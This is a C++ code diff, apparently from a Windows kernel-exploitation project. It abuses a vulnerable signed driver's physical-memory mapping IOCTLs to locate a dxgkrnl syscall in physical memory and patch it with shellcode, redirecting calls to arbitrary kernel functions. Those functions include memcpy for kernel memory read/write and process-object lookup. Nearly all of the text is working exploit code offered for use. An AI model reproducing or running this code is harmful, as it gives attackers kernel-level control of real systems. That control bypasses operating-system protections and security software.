reinterpret_cast<void*>(&in_buffer),
sizeof in_buffer,
out_buffer,
sizeof out_buffer,
&returned, NULL
))
return false;
__try
{
memcpy(buffer, out_buffer[0], size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<void*>(&out_buffer[0]),
sizeof out_buffer[0],
out_buffer,
sizeof out_buffer,
&returned, NULL
);
}
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
{
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
return false;
gdrv_t in_buffer;
in_buffer.bus = NULL;
in_buffer.interface_type = NULL;
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
in_buffer.io_space = NULL;
in_buffer.size = size;
void* out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<void*>(&in_buffer),
sizeof in_buffer,
out_buffer,
sizeof out_buffer,
&returned, NULL
))
return false;
__try
{
memcpy(out_buffer[0], buffer, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<void*>(&out_buffer[0]),
sizeof out_buffer[0],
out_buffer,
sizeof out_buffer,
&returned, NULL
);
}
}

@ -0,0 +1,93 @@
#include "vdm_ctx.h"
namespace vdm
{
vdm_ctx::vdm_ctx()
{
// already found the syscall's physical page...
if (vdm::syscall_address.load())
return;
LoadLibraryA("user32.dll"); // required for win32u.dll...
vdm::dxgkrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryExA("drivers\\dxgkrnl.sys", NULL,
DONT_RESOLVE_DLL_REFERENCES));
nt_rva = reinterpret_cast<std::uint32_t>(
util::get_kmodule_export(
"dxgkrnl.sys",
syscall_hook.first,
true
));
vdm::nt_page_offset = nt_rva % PAGE_4KB;
// for each physical memory range, make a thread to search it
std::vector<std::thread> search_threads;
for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread(
&vdm_ctx::locate_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
}
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
{
const auto page_data =
reinterpret_cast<std::uint8_t*>(
VirtualAlloc(
nullptr,
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
for (auto page = 0u; page < length; page += PAGE_4KB)
{
if (vdm::syscall_address.load())
break;
if (!vdm::read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
continue;
// check the first 32 bytes of the syscall, if its the same, test that its the correct
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
if (!memcmp(page_data + nt_page_offset, dxgkrnl_buffer + nt_rva, 32))
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
syscall_address.store(
reinterpret_cast<void*>(
address + page + nt_page_offset));
}
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
}
bool vdm_ctx::valid_syscall(void* syscall_addr) const
{
static std::mutex syscall_mutex;
syscall_mutex.lock();
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
// 0: 48 31 c0 xor rax, rax
// 3 : c3 ret
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode...
vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result == STATUS_SUCCESS;
}
}

@ -0,0 +1,114 @@
#pragma once
#include <windows.h>
#include <string_view>
#include <vector>
#include <thread>
#include <atomic>
#include <mutex>
#include "../vdm/vdm.hpp"
namespace vdm
{
// change this to whatever you want :^)
constexpr std::pair<const char*, const char*> syscall_hook = { "NtGdiDdDDICreateContext", "win32u.dll" };
inline std::atomic<bool> is_page_found = false;
inline std::atomic<void*> syscall_address = nullptr;
inline std::uint16_t nt_page_offset;
inline std::uint32_t nt_rva;
inline std::uint8_t* dxgkrnl_buffer;
class vdm_ctx
{
public:
vdm_ctx();
template <class T, class ... Ts>
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
static std::mutex syscall_mutex;
syscall_mutex.lock();
// jmp [rip+0x0]
std::uint8_t jmp_code[] =
{
0xff, 0x25, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00
};
std::uint8_t orig_bytes[sizeof jmp_code];
*reinterpret_cast<void**>(jmp_code + 6) = addr;
vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
// execute hook...
vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
auto result = reinterpret_cast<T>(proc)(args ...);
vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result;
}
template <class T>
__forceinline auto rkm(std::uintptr_t addr) -> T
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
T buffer;
this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T);
return buffer;
}
template <class T>
__forceinline void wkm(std::uintptr_t addr, const T& value)
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, (void*)addr, &value, sizeof T);
}
__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
{
static const auto ntoskrnl_get_virtual =
util::get_kmodule_export(
"ntoskrnl.exe",
"MmGetVirtualForPhysical");
return this->syscall<MmGetVirtualForPhysical>(
ntoskrnl_get_virtual, addr);
}
__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
{
static const auto ps_lookup_peproc =
util::get_kmodule_export(
"ntoskrnl.exe",
"PsLookupProcessByProcessId");
PEPROCESS peproc = nullptr;
this->syscall<PsLookupProcessByProcessId>(
ps_lookup_peproc,
(HANDLE)GetCurrentProcessId(),
&peproc
);
return peproc;
}
private:
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
bool valid_syscall(void* syscall_addr) const;
};
}
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